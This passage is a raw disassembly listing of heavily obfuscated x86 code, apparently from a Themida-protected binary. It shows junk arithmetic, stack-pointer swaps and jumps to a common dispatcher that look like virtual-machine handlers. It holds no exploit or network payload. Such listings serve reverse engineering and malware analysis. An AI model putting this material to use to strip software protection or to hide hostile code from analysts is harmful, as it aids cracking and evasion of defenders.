loc_55B10C: ; CODE XREF: sub_559C84+5A53j
mov eax, [esp-18h+arg_14]
push eax
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp-14h+arg_10]
xor [esp-14h+arg_10], eax
xor eax, [esp-14h+arg_10]
mov esp, [esp-14h+arg_10]
add esp, 4
push esi
push ebp
push 24EFh
mov [esp-0Ch+arg_8], ecx
mov ecx, 30BC4E98h
push 4A3Ah
mov [esp-8+arg_4], eax
mov eax, ecx
mov ebp, eax
pop eax
pop ecx
mov esi, 7FE2558Dh
not esi
push 4A1Fh
mov [esp-0Ch+arg_8], ebp
jmp loc_55FBFC
; ---------------------------------------------------------------------------
loc_55B15F: ; CODE XREF: sub_559C84+2B89j
or al, 92h
neg al
inc al
and al, 84h
jmp loc_554AF8
; ---------------------------------------------------------------------------
loc_55B16C: ; CODE XREF: Themida_:00554FEEj
add esi, edi
push edi
mov edi, 2C5745A3h
add esi, edi
pop edi
pop edi
sub esp, 4
mov [esp-0Ch+arg_8], edi
mov edi, 2
jmp sub_558756
; ---------------------------------------------------------------------------
loc_55B188: ; CODE XREF: Themida_:0055898Cj
push edx
push ecx
mov ch, 0EBh
jmp loc_553B9B
; ---------------------------------------------------------------------------
loc_55B191: ; CODE XREF: sub_559C84-13FFj
xchg ebp, [esp+4Ah+var_4A]
jmp loc_55B686
; ---------------------------------------------------------------------------
loc_55B199: ; CODE XREF: sub_559C84-3CCEj
xor edx, 3F3F0ED5h
xor edx, 77204C81h
sub edx, 0EB2BB672h
xor eax, edx
pop edx
jmp loc_55BD1B
; ---------------------------------------------------------------------------
loc_55B1B3: ; CODE XREF: sub_559C84+1DE2j
shr cl, 1
neg cl
xor cl, 9
sub al, cl
pop ecx
push edx
mov dl, 0CFh
add al, dl
pop edx
sub al, bl
sub al, 0CFh
jmp loc_553AFE
; ---------------------------------------------------------------------------
loc_55B1CC: ; CODE XREF: sub_559C84+2292j
dec ecx
jmp loc_55468C
; ---------------------------------------------------------------------------
loc_55B1D2: ; CODE XREF: sub_559C84-4183j
mov ebp, eax
pop eax
dec ebp
add ebp, 322B153Fh
add ebp, 1D629E97h
mov ebx, ebp
jmp loc_55DCB8
; ---------------------------------------------------------------------------
loc_55B1E9: ; CODE XREF: sub_55DE4E-4ECBj
add edx, 4
add edx, 4
xchg edx, [esp+50h+var_52+2]
pop esp
add edx, 3B3676E3h
push ecx
mov ecx, 4A5908CFh
xor edx, ecx
jmp loc_553C9D
; ---------------------------------------------------------------------------
loc_55B209: ; CODE XREF: sub_559C84-3179j
sub esi, 4
jmp loc_558A5D
; ---------------------------------------------------------------------------
loc_55B214: ; CODE XREF: sub_559C84-1A36j
add ebp, 7DB82F96h
pop ecx
jmp loc_55F198
; ---------------------------------------------------------------------------
loc_55B220: ; CODE XREF: sub_559C84+1275j
push esi
jmp loc_55726D
; ---------------------------------------------------------------------------
loc_55B226: ; CODE XREF: sub_559C84+22D8j
add ebp, ebx
pop ebx
push ebp
jmp loc_5555BB
; ---------------------------------------------------------------------------
loc_55B22F: ; CODE XREF: sub_559C84+2C4Cj
pop ebp
jmp loc_555824
; ---------------------------------------------------------------------------
loc_55B235: ; CODE XREF: sub_559C84+5DE1j
push edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop ebp
add ebp, 4
push 5B0Ch
mov [esp+8+var_8], ecx
jmp loc_558235
; ---------------------------------------------------------------------------
loc_55B263: ; CODE XREF: sub_559C84+371Ej
pop edi
add edi, eax
mov eax, [esp+4+var_4]
add esp, 4
sub edi, 0F7CB5B88h
xor eax, edi
mov edi, [esp+0]
add esp, 4
push edi
push edx
mov edx, 72BB3457h
xor edx, 25356B88h
neg edx
not edx
jmp loc_5548FD
; ---------------------------------------------------------------------------
loc_55B296: ; CODE XREF: sub_559C84-5F70j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+1Ch+var_1C]
pop esp
mov edx, [esp+18h+var_18]
add esp, 4
pop edi
push edi
push 48083E9Ch
pop edi
jmp loc_558146
; ---------------------------------------------------------------------------
loc_55B2BC: ; CODE XREF: sub_559C84+16A3j
add eax, edi
mov edi, [esp+14h+var_14]
add esp, 4
add eax, 4
xor eax, [esp+10h+var_10]
xor [esp+10h+var_10], eax
jmp loc_55601E
; ---------------------------------------------------------------------------
loc_55B2D2: ; CODE XREF: Themida_:00559730j
mov edx, esi
pop esi
add esi, 0B6613E3h
jmp loc_556332
; ---------------------------------------------------------------------------
loc_55B2E0: ; CODE XREF: sub_559C84+13CDj
push 6496h
jmp loc_55BBA4
; ---------------------------------------------------------------------------
loc_55B2EA: ; CODE XREF: Themida_:00556733j
add eax, 4
xchg eax, [esp+5Ch+var_5C]
pop esp
push 1C71h
jmp loc_55861E
; ---------------------------------------------------------------------------
loc_55B2FD: ; CODE XREF: Themida_:005541AAj
shr edx, 2
jmp loc_55FB99
; ---------------------------------------------------------------------------
loc_55B305: ; CODE XREF: sub_559C84-42BBj
mov ecx, [esp-14h+arg_10]
add esp, 4
jmp sub_557920
; ---------------------------------------------------------------------------
loc_55B310: ; CODE XREF: sub_559C84-4CA6j
pop eax
pop esi
jmp loc_55896F
; ---------------------------------------------------------------------------
loc_55B317: ; CODE XREF: Themida_:00553E9Cj
pop ebx
xor ebx, 4C1B07BCh
mov edi, ebx
pop ebx
sub edi, 70C546D6h
jmp loc_55B2BC
; ---------------------------------------------------------------------------
loc_55B32C: ; CODE XREF: sub_559C84-1BB5j
mov [edi+38h], bh
push [esp+42h+var_42]
pop ebx
add esp, 4
pop ecx
mov ebx, [esp+3Ah+var_3A]
add esp, 4
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55B345: ; CODE XREF: sub_559C84+1476j
mov ebx, 99F8626h
push esi
push 3F6Ah
mov [esp+8+var_8], edx
jmp loc_55C3BB
; ---------------------------------------------------------------------------
loc_55B358: ; CODE XREF: sub_559C84-4454j
shl edi, 7
add edi, 0C00884h
add ebp, edi
push [esp+34h+var_34]
push [esp+38h+var_3A+2]
mov edi, [esp+3Ch+var_3E+2]
add esp, 4
add esp, 4
jmp loc_55BE0C
; ---------------------------------------------------------------------------
loc_55B37A: ; CODE XREF: sub_559C84+1291j
xchg eax, [esp+10h+var_10]
jmp loc_557A56
; ---------------------------------------------------------------------------
loc_55B382: ; CODE XREF: sub_559C84+5E65j
shr ebx, 3
sub ebx, 69E004F4h
jmp loc_55C887
; ---------------------------------------------------------------------------
loc_55B390: ; CODE XREF: sub_559C84+13DBj
mov ebp, 2EC73505h
shl ebp, 4
jmp loc_554124
; ---------------------------------------------------------------------------
loc_55B39D: ; CODE XREF: sub_559C84-40A6j
sub esi, 8E85CB91h
sub edx, 5CDF1629h
jmp loc_55DA96
; ---------------------------------------------------------------------------
loc_55B3AE: ; CODE XREF: sub_559A2E-1460j
sub esp, 4
mov [esp+48h+var_4A+2], ebx
mov bl, 63h
jmp loc_557803
; ---------------------------------------------------------------------------
loc_55B3BE: ; CODE XREF: sub_559C84+2789j
mov esp, [esp+48h+var_4A+2]
mov word ptr [esp+48h+var_4A+2], cx
movzx cx, al
push cx
pushf
jmp loc_55F49E
; ---------------------------------------------------------------------------
loc_55B3D1: ; CODE XREF: sub_559C84+500Dj
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55B3D6: ; CODE XREF: sub_559C84+5319j
add edx, 4
sub esp, 4
mov [esp+52h+var_52], eax
mov eax, 2
jmp loc_55F00E
; ---------------------------------------------------------------------------
loc_55B3EF: ; CODE XREF: sub_555835+23j
xor ebx, 2EFF677Fh
add ecx, ebx
pop ebx
jmp loc_55652D
; ---------------------------------------------------------------------------
loc_55B3FD: ; CODE XREF: sub_559C84-3DA5j
sub edi, 7462911h
pop eax
sub edi, 4
xchg edi, [esp+46h+var_46]
jmp loc_557C6A
; ---------------------------------------------------------------------------
loc_55B412: ; CODE XREF: sub_559C84+19Cj
mov esp, [esp+46h+var_46]
jmp loc_55801C
; ---------------------------------------------------------------------------
loc_55B41A: ; CODE XREF: sub_559C84+99Aj
mov [esp+58h+var_58], edi
push 92595052h
mov edi, [esp+5Ch+var_5C]
add esp, 4
add ebp, 5E8548B1h
add ebp, edi
jmp loc_55C3FD
; ---------------------------------------------------------------------------
loc_55B438: ; CODE XREF: sub_559C84+5A26j
mov edx, 31FF606Ch
xor edx, esi
mov esi, [esp+58h+var_58]
jmp loc_55883A
; ---------------------------------------------------------------------------
loc_55B447: ; CODE XREF: sub_559C84+4189j
mov edx, [esp+58h+var_58]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_55876D
; ---------------------------------------------------------------------------
loc_55B458: ; CODE XREF: Themida_:0055EA19j
mov bh, 51h
push ecx
mov ch, 63h
jmp loc_55E79E
; ---------------------------------------------------------------------------
loc_55B462: ; CODE XREF: sub_559C84+830j
push esi
push 7FBAh
mov [esp+40h+var_42+2], ecx
mov ecx, 12A66BF3h
mov esi, 3BBCAB46h
sub esi, 1EB37163h
sub esi, 0C391E09h
sub esi, ecx
add esi, 0C391E09h
add esi, 1EB37163h
pop ecx
push 6727h
mov [esp+40h+var_42+2], edi
mov edi, 74BA42B9h
push esi
push 0B45BFCA0h
mov esi, [esp+48h+var_4A+2]
add esp, 4
jmp loc_556B70
; ---------------------------------------------------------------------------
loc_55B4B1: ; CODE XREF: sub_559C84+5204j
sub esp, 4
mov [esp+48h+var_4A+2], edi
jmp loc_5564A1
; ---------------------------------------------------------------------------
loc_55B4BC: ; CODE XREF: sub_559C84+31Ej
sub bl, cl
pop cx
xor ch, bl
pop ebx
add ch, 9Eh
sub ch, 0D1h
add al, 8Dh
add al, 59h
sub al, ch
jmp loc_5591D9
; ---------------------------------------------------------------------------
loc_55B4D4: ; CODE XREF: sub_559C84+5ABDj
mov ebx, [esp+48h+var_4A+2]
add esp, 4
sub al, bl
push ecx
mov cl, 6Ch
sub cl, 7Ah
sub al, cl
pop ecx
jmp loc_55A3F9
; ---------------------------------------------------------------------------
loc_55B4EA: ; CODE XREF: sub_559C84+2072j
push edx
push 299Ah
jmp loc_5588FA
; ---------------------------------------------------------------------------
loc_55B4F5: ; CODE XREF: sub_559C84+5BAj
add edi, 4
push edi
push [esp-4+arg_4]
pop edi
pop [esp-4+arg_0]
pop esp
add esp, 4
add [esp-10h+arg_C], eax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55B511: ; CODE XREF: sub_559C84-3348j
push esi
mov esi, esp
add esi, 4
sub esi, 2
sub esp, 4
mov [esp-1Ch+arg_18], esi
push [esp-1Ch+arg_1C]
pop esi
pop [esp-1Ch+arg_18]
mov esp, [esp-20h+arg_1C]
mov word ptr [esp-20h+arg_1C], bx
push edx
mov dl, 71h
shl dl, 7
not dl
add dl, 0BEh
jmp loc_556E95
; ---------------------------------------------------------------------------
loc_55B545: ; CODE XREF: sub_559C84-4922j
mov bl, dh
pop edx
jmp loc_55B9FC
; ---------------------------------------------------------------------------
loc_55B54D: ; CODE XREF: sub_558B94+9j
add bx, 5762h
inc bx
xor bx, 3DF1h
add bx, 3850h
jmp $+5
push si
jmp loc_55EB13
; ---------------------------------------------------------------------------
loc_55B56A: ; CODE XREF: sub_559C84+3D7Aj
mov dl, ch
jmp loc_554522
; ---------------------------------------------------------------------------
loc_55B571: ; CODE XREF: sub_559C84+3BB2j
push [esp+50h+var_52+2]
pop ecx
jmp loc_554415
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+50h+var_52+2]
sub esp, 4
mov [esp+0], edx
mov edx, esp
push ebp
push ebx
push 66571D4Bh
pop ebx
mov ebp, 0FB1435AAh
sub ebp, 75501156h
add ebp, ebx
add ebp, 75501156h
pop ebx
add ebp, 4AF30440h
shr ebp, 1
shl ebp, 6
and ebp, 348D4600h
xor ebp, 884604h
add edx, ebp
jmp loc_5540E3
; ---------------------------------------------------------------------------
loc_55B5C3: ; CODE XREF: sub_559C84+52D1j
push ecx
sub esp, 4
jmp loc_55ED72
; ---------------------------------------------------------------------------
loc_55B5CF: ; CODE XREF: sub_5577DF+7ACBj
mov ecx, esi
pop esi
mov edi, [esp+5Ch+var_5C]
add esp, 4
add eax, 20720375h
add eax, ecx
sub eax, 20720375h
jmp loc_555537
; ---------------------------------------------------------------------------
loc_55B5E9: ; CODE XREF: sub_559C84-3F34j
mov [esp+5Ah+var_5C+2], ebp
jmp loc_553F0C
; ---------------------------------------------------------------------------
loc_55B5F1: ; CODE XREF: sub_559C84-EBDj
xor cl, ah
pop eax
xor al, cl
pop ecx
jmp loc_55A63D
; ---------------------------------------------------------------------------
loc_55B5FC: ; CODE XREF: sub_558D95+5D44j
xchg ecx, [esp+42h+var_42]
jmp loc_55454B
; ---------------------------------------------------------------------------
loc_55B604: ; CODE XREF: sub_55702F-1644j
add ebp, 55F83058h
add ebp, esi
sub ebp, 55F83058h
push [esp+42h+var_42]
pop esi
jmp loc_55D15E
; ---------------------------------------------------------------------------
loc_55B61B: ; CODE XREF: sub_559C84-5CCCj
sub esp, 4
mov [esp+6+var_8+2], edx
sub esp, 4
mov [esp+0Ah+var_C+2], ebx
jmp loc_55DC5E
; ---------------------------------------------------------------------------
loc_55B62F: ; CODE XREF: sub_559C84+30B6j
mov ah, 6Eh
dec ah
shr ah, 6
neg ah
add ah, 3Fh
xor dl, ah
jmp loc_557669
; ---------------------------------------------------------------------------
loc_55B642: ; CODE XREF: sub_559C84-19D1j
push 63E1h
mov [esp+56h+var_58+2], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+56h+var_58+2]
pop esp
mov [esp+52h+var_52], edx
mov edx, 8522C605h
jmp loc_55BDF1
; ---------------------------------------------------------------------------
loc_55B666: ; CODE XREF: sub_559C84+373Fj
shr edi, 7
add edi, 776B7ABCh
xor esi, edi
pop edi
sub esi, 4EE9BF6h
push esi
add [esp+52h+var_52], 179700F5h
pop edx
jmp loc_559171
; ---------------------------------------------------------------------------
loc_55B686: ; CODE XREF: sub_559C84+1510j
mov esp, [esp+4Ah+var_4A]
mov [esp+4Ah+var_4A], edx
push eax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_55AC9B
; ---------------------------------------------------------------------------
loc_55B69B: ; CODE XREF: sub_559C84+3479j
add ebp, edx
pop edx
push edi
mov edi, 2
add ebp, edi
push [esp+56h+var_58+2]
pop edi
push ebp
mov ebp, esp
jmp loc_55A175
; ---------------------------------------------------------------------------
loc_55B6B2: ; CODE XREF: sub_554572+A68Bj
dec edx
sub edx, 4015B633h
sub ecx, edx
pop edx
sub esi, ecx
mov ecx, [esp+56h+var_58+2]
jmp loc_55A567
; ---------------------------------------------------------------------------
loc_55B6C6: ; CODE XREF: sub_559C84+3DE6j
dec ebp
jmp loc_557F12
; ---------------------------------------------------------------------------
loc_55B6CC: ; CODE XREF: sub_557B99-3A59j
mov [ebx], dl
pop edx
jmp loc_55F1CB
; ---------------------------------------------------------------------------
loc_55B6D4: ; CODE XREF: sub_559C84-F9j
add al, bh
pop ebx
jmp loc_556357
; ---------------------------------------------------------------------------
loc_55B6DC: ; CODE XREF: sub_559C84-31BBj
add ecx, edx
pop edx
add ecx, 4
push ecx
push [esp+62h+var_60+2]
pop ecx
jmp loc_554AD0
; ---------------------------------------------------------------------------
loc_55B6F0: ; CODE XREF: sub_559C84+901j
mov ebx, 4
add [esp+28h+var_24], ebx
jmp loc_5555D0
; ---------------------------------------------------------------------------
loc_55B6FE: ; CODE XREF: sub_559C84+41C5j
mov edi, 4A7907BDh
xor ecx, edi
pop edi
push ebx
mov ebx, 17EF55F8h
not ebx
not ebx
dec ebx
add ebx, 441F27EAh
shr ebx, 7
add ebx, 0B3971E3Ah
add ecx, ebx
jmp loc_55921A
; ---------------------------------------------------------------------------
loc_55B727: ; CODE XREF: sub_559C84+841j
pop esp
inc [esp+3Ch+var_3E+2]
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55B731: ; CODE XREF: sub_559C84+360Dj
sub ecx, 7A856F29h
push esi
mov esi, 57F6D01h
jmp loc_55AC90
; ---------------------------------------------------------------------------
loc_55B742: ; CODE XREF: sub_55E26B-9BEFj
add esp, 4
xchg ebp, [esp+40h+var_42+2]
pop esp
and [esp+3Ch+var_3E+2], eax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55B755: ; CODE XREF: sub_559C84+270Fj
add ebx, 20460CB5h
add ecx, ebx
pop ebx
add ecx, 2
xchg ecx, [esp+3Ch+var_3E+2]
jmp loc_55EF93
; ---------------------------------------------------------------------------
loc_55B76C: ; CODE XREF: sub_559C84+116Dj
add ebp, eax
sub ebp, 272B4C91h
sub ebp, 45D25468h
mov eax, [esp+3Eh+var_3E]
add esp, 4
push eax
mov eax, 2
add ebp, eax
pop eax
xchg ebp, [esp+3Ah+var_3A]
mov esp, [esp+3Ah+var_3A]
jmp loc_5552DB
; ---------------------------------------------------------------------------
loc_55B797: ; CODE XREF: Themida_:00559B70j
mov [esp+3Ah+var_3A], ebx
push 3782h
jmp loc_555673
; ---------------------------------------------------------------------------
loc_55B7A4: ; CODE XREF: sub_559C84-4FE7j
mov bx, 13CFh
sub word ptr [esp+56h+var_52], 71E3h
sub word ptr [esp+56h+var_52], bx
add word ptr [esp+56h+var_52], 71E3h
pop bx
sub esp, 2
mov word ptr [esp+58h+var_58], dx
mov dx, 3726h
add word ptr [esp+4], 1A92h
jmp loc_55F1BF
; ---------------------------------------------------------------------------
loc_55B7D7: ; CODE XREF: sub_559C84+3F4j
push edi
push [esp-6+arg_4+2]
jmp loc_554272
; ---------------------------------------------------------------------------
loc_55B7E1: ; CODE XREF: sub_559C84-245Cj
push esi
push 41F5450Ah
pop esi
inc esi
jmp loc_55C5C4
; ---------------------------------------------------------------------------
loc_55B7EE: ; CODE XREF: sub_559C84+3A74j
pop eax
xor edi, [esp+62h+var_64+2]
xor [esp+62h+var_64+2], edi
xor edi, [esp+62h+var_64+2]
pop esp
push [esp+5Eh+var_60+2]
pop ecx
push ecx
mov ecx, esp
add ecx, 4
push 7505h
mov [esp+0], edx
push ebx
mov ebx, 4
mov edx, ebx
pop ebx
sub esp, 4
mov [esp+6Ah+var_6A], eax
mov eax, 1F246464h
sub ecx, eax
pop eax
add ecx, edx
jmp loc_55431E
; ---------------------------------------------------------------------------
loc_55B82C: ; CODE XREF: sub_559C84+25FFj
pop eax
xor dh, 0E3h
mov al, dh
pop edx
add al, 67h
add cl, al
jmp loc_55CD9B
; ---------------------------------------------------------------------------
loc_55B83C: ; CODE XREF: sub_559C84+2B0Bj
add ebx, 0B0B10E41h
add esi, ebx
pop ebx
push eax
mov eax, 4
add esi, eax
pop eax
xor esi, [esp+5Ah+var_5C+2]
xor [esp+5Ah+var_5C+2], esi
xor esi, [esp+5Ah+var_5C+2]
pop esp
push [esp+56h+var_58+2]
jmp loc_55A01B
; ---------------------------------------------------------------------------
loc_55B860: ; CODE XREF: sub_5571E4+C37j
add di, 2605h
sub di, si
sub di, 2605h
jmp loc_558C7A
; ---------------------------------------------------------------------------
loc_55B872: ; CODE XREF: sub_559C84-3294j
and eax, esi
pop esi
xor eax, 71BF5319h
or eax, 1EC23FB8h
sub eax, 3FD67FB9h
add edi, eax
pop eax
add edi, 2
jmp loc_558E68
; ---------------------------------------------------------------------------
loc_55B892: ; CODE XREF: sub_559C84-4AE4j
add ecx, 2D4C5FFBh
shl ecx, 2
sub ecx, 8D570E40h
mov ebx, ecx
pop ecx
add [esp+3Eh+var_3A], ebx
mov ebx, [esp+3Eh+var_3E]
add esp, 4
pop eax
sub eax, 27E035CCh
push 4AFh
mov [esp+3Ah+var_3A], ebx
sub esp, 4
mov [esp+3Eh+var_3E], eax
push 54530B5Ch
jmp loc_55E41A
; ---------------------------------------------------------------------------
loc_55B8CC: ; CODE XREF: sub_55DD10+1Cj
mov [esp+42h+var_42], eax
mov eax, esp
push ebp
mov ebp, 4
push edx
mov edx, 15322C4Ah
push ecx
mov ecx, 1F5341C7h
or ecx, 5FCD7DC3h
jmp loc_556277
; ---------------------------------------------------------------------------
loc_55B8EE: ; CODE XREF: sub_559C84-490Bj
mov ebp, 736045BDh
push esi
mov esi, 0FFFFFFFFh
jmp loc_55DB28
; ---------------------------------------------------------------------------
loc_55B8FE: ; CODE XREF: sub_559C84-41D8j
xchg edx, [esp+4Ah+var_4A]
pop esp
jmp loc_5560B0
; ---------------------------------------------------------------------------
loc_55B907: ; CODE XREF: sub_559C84-E21j
add edi, 30D950A1h
jmp loc_55D27D
; ---------------------------------------------------------------------------
loc_55B912: ; CODE XREF: sub_559C84+59C6j
push edx
jmp loc_555FB1
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp+34h+var_34], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55B927: ; CODE XREF: sub_555CF6+9B38j
mov edx, 5FC74E45h
xor ebp, edx
jmp loc_55606B
; ---------------------------------------------------------------------------
loc_55B933: ; CODE XREF: sub_559C84+F7Fj
mov esi, [esp+52h+var_52]
jmp loc_554ECA
; ---------------------------------------------------------------------------
loc_55B93B: ; CODE XREF: sub_559C84+4F5Cj
pop esp
xchg esi, [esp+4Eh+var_4E]
mov esp, [esp+4Eh+var_4E]
push esi
jmp loc_556119
; ---------------------------------------------------------------------------
loc_55B948: ; CODE XREF: sub_559C84-5B92j
mov edi, 0C1A6D1Bh
jmp loc_559897
; ---------------------------------------------------------------------------
loc_55B952: ; DATA XREF: Themida_:00553464o
lodsd
xor eax, ebx
sub esp, 4
mov [esp+0Ch+var_C], ecx
push esi
mov esi, 26E63508h
add esi, 55251E6h
sub esi, 3725429h
inc esi
or esi, 2D325CF1h
xor esi, 4B061A2Dh
mov ecx, esi
pop esi
add eax, 3AEC5384h
jmp loc_558D5F
; ---------------------------------------------------------------------------
loc_55B987: ; CODE XREF: sub_559C84+572Aj
not edi
xchg edi, ecx
jmp loc_554CCF
; ---------------------------------------------------------------------------
loc_55B990: ; CODE XREF: sub_559C84-2962j
pop edi
add eax, ebp
push [esp+34h+var_34]
mov ebp, [esp+38h+var_3A+2]
add esp, 4
jmp loc_55C993
; ---------------------------------------------------------------------------
loc_55B9A1: ; CODE XREF: sub_559C84-44A5j
mov edi, 2EBD1427h
dec edi
xor edi, 45AD0B99h
add edi, 0E6D74F51h
sub ebx, edi
pop edi
push eax
mov eax, 3C6768B7h
inc eax
xor eax, 607D7505h
jmp loc_556C69
; ---------------------------------------------------------------------------
loc_55B9C7: ; CODE XREF: sub_559C84-517Dj
push [esp+42h+var_42]
pop ebp
add esp, 4
mov esi, [esp+3Eh+var_3E]
add esp, 4
push 1482h
mov [esp+3Eh+var_3E], edx
push ecx
mov ecx, 334B5138h
sub esp, 4
mov [esp+46h+var_46], edx
mov edx, 0C412C5Ch
xor edx, 1FF675CEh
xor ecx, edx
pop edx
dec ecx
jmp loc_55A2FA
; ---------------------------------------------------------------------------
loc_55B9FC: ; CODE XREF: sub_559C84+18C4j
dec bl
xor bl, 7Ch
push eax
mov al, 0A0h
push ecx
jmp loc_556E34
; ---------------------------------------------------------------------------
loc_55BA0A: ; CODE XREF: sub_559C84+FA6j
add esp, 4
add esp, 4
shr eax, 0Ah
xor eax, ecx
xor eax, esi
xor esi, eax
xor eax, esi
jmp loc_55F804
; ---------------------------------------------------------------------------
loc_55BA20: ; CODE XREF: sub_559C84+4FB4j
pop esi
add edx, ebx
pop ebx
sub edx, 4
xchg edx, [esp-14h+arg_10]
mov esp, [esp-14h+arg_10]
mov [esp-14h+arg_10], eax
jmp loc_55F06D
; ---------------------------------------------------------------------------
loc_55BA35: ; CODE XREF: sub_559C84+5219j
xor cl, bl
mov bx, word ptr [esp-14h+arg_10]
add esp, 2
xor al, cl
mov ecx, [esp-18h+arg_14]
add esp, 4
xor bl, al
movzx eax, al
push small 6AA2h
mov word ptr [esp-1Ah+arg_14+2], ax
jmp loc_55351F
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
mov [esp-16h+arg_10+2], ebx
mov bl, 14h
push ecx
mov cl, 0A2h
neg cl
jmp loc_55B1B3
; ---------------------------------------------------------------------------
loc_55BA6B: ; CODE XREF: sub_559C84+5CB7j
add esi, eax
jmp loc_55AC2F
; ---------------------------------------------------------------------------
loc_55BA72: ; CODE XREF: sub_559C84+42DDj
add eax, ebp
pop ebp
sub esp, 4
mov [esp-12h+arg_C+2], eax
push [esp-12h+arg_10+2]
pop eax
pop [esp-12h+arg_C+2]
jmp loc_55EF89
; ---------------------------------------------------------------------------
loc_55BA8B: ; CODE XREF: sub_559C84-5B87j
xchg ecx, [esp+4+var_4]
pop esp
add ebx, 0D0B5AE6h
add ebx, 3BC168C7h
sub ebx, eax
sub ebx, 3BC168C7h
sub esp, 4
mov [esp+4+var_4], ebp
jmp loc_55C756
; ---------------------------------------------------------------------------
loc_55BAAE: ; CODE XREF: sub_55DBFB+Aj
add edx, 4
push 3AF8h
jmp loc_55B076
; ---------------------------------------------------------------------------
loc_55BABE: ; CODE XREF: sub_5586DD+5j
sub al, bl
jmp loc_553B61
; ---------------------------------------------------------------------------
loc_55BAC5: ; CODE XREF: sub_559C84-26B0j
shr edx, 1
cmp eax, edx
jz loc_559A39
sub esp, 4
mov [esp+44h+var_46+2], esi
push ebx
mov ebx, 54757657h
mov esi, 0F22DAF24h
add esi, ebx
pop ebx
push ebx
push ebp
jmp loc_555AF4
; ---------------------------------------------------------------------------
loc_55BAEA: ; DATA XREF: Themida_:0055348Co
mov cx, word ptr [esp+4Ch+var_4E+2]
jmp sub_5547B0
; ---------------------------------------------------------------------------
loc_55BAF3: ; CODE XREF: sub_559C84+13B0j
pop edx
jmp loc_556C2A
; ---------------------------------------------------------------------------
loc_55BAF9: ; CODE XREF: sub_559C84-1066j
add eax, 5A8CCD7Ch
mov edi, eax
jmp loc_55E7B8
; ---------------------------------------------------------------------------
loc_55BB05: ; CODE XREF: sub_553EB3+13j
add ebx, 0FFFFFFFFh
add ebx, 1F295ADFh
xor ebx, 84EC844Dh
mov ecx, ebx
jmp loc_559785
; ---------------------------------------------------------------------------
loc_55BB1B: ; CODE XREF: sub_559C84+CF8j
dec ecx
shl ecx, 8
shr ecx, 4
add ecx, 6DB7ED61h
mov edi, ecx
jmp loc_5557F1
; ---------------------------------------------------------------------------
loc_55BB2F: ; CODE XREF: sub_559C84+11A9j
or edx, ebp
pop ebp
and edx, 5F467C7Fh
sub esp, 4
mov [esp+46h+var_46], edi
mov edi, 4AA31B83h
or edx, edi
pop edi
sub edx, 5EE37BCFh
or [edi+1Ch], edx
pop edx
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55BB55: ; CODE XREF: sub_559C84-5FDDj
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_55FC38
; ---------------------------------------------------------------------------
loc_55BB68: ; CODE XREF: Themida_:00556B2Ej
sub ax, bx
mov bx, word ptr [esp+20h+var_20]
add esp, 2
sub esp, 2
mov word ptr [esp+20h+var_20], di
jmp sub_5571E4
; ---------------------------------------------------------------------------
loc_55BB81: ; CODE XREF: sub_559C84+2520j
pop ebp
pop [esp+1Ch+var_1C]
pop esp
imul ecx, eax
push ecx
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55BB90: ; CODE XREF: sub_559C84+4236j
push eax
push ebp
mov ebp, 315F1307h
sub [esp+24h+var_20], 264071FDh
jmp sub_557B4C
; ---------------------------------------------------------------------------
loc_55BBA4: ; CODE XREF: sub_559C84+1661j
mov [esp+5Ch+var_5C], ebx
jmp loc_55527A
; ---------------------------------------------------------------------------
loc_55BBAC: ; DATA XREF: Themida_:00553484o
mov esp, [esp+5Ch+var_5C]
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55BBB4: ; CODE XREF: sub_55EB5B-AF16j
push ecx
jmp loc_55D1E8
; ---------------------------------------------------------------------------
loc_55BBBA: ; CODE XREF: sub_558684+19j
push ebx
mov ebx, esp
push ebp
mov ebp, 75B20A2Bh
inc ebp
sub ebp, 5F76744Eh
or ebp, 13E038DBh
jmp loc_55F314
; ---------------------------------------------------------------------------
loc_55BBD5: ; CODE XREF: sub_559C84-1511j
pop esp
add esp, 4
push ecx
push esp
pop ecx
push edi
mov edi, 2FCF11FBh
inc edi
dec edi
or edi, 62F9548Dh
shl edi, 7
jmp loc_556ACE
; ---------------------------------------------------------------------------
loc_55BBF5: ; CODE XREF: sub_559C84+561Fj
pop ecx
mov ebp, [esp+4Ah+var_4A]
add esp, 4
pop edx
sub edx, 315F1307h
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55BC08: ; CODE XREF: sub_559C84-498Cj
pop ax
push ecx
mov cl, 3
jmp loc_556E59
; ---------------------------------------------------------------------------
loc_55BC12: ; DATA XREF: Themida_:00553268o
push dword ptr [edi+1Ch]
popf
pop ax
sbb word ptr [esp+48h+var_4A+2], ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55BC22: ; CODE XREF: sub_559C84+25D0j
add [esp+4Ch+var_4A+2], ebx
mov ebx, [esp+4Ch+var_4E+2]
jmp loc_55C687
; ---------------------------------------------------------------------------
loc_55BC2E: ; CODE XREF: sub_559C84+5B8Dj
add esp, 4
push 0A03h
mov [esp+4Ch+var_4E+2], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+4Ch+var_4E+2]
pop esp
jmp loc_55C52B
; ---------------------------------------------------------------------------
loc_55BC53: ; CODE XREF: sub_559C84+3E9Fj
pop edi
push esi
not [esp+48h+var_4A+2]
mov esi, [esp+48h+var_4A+2]
jmp loc_558CB4
; ---------------------------------------------------------------------------
loc_55BC60: ; CODE XREF: sub_559C84-12C8j
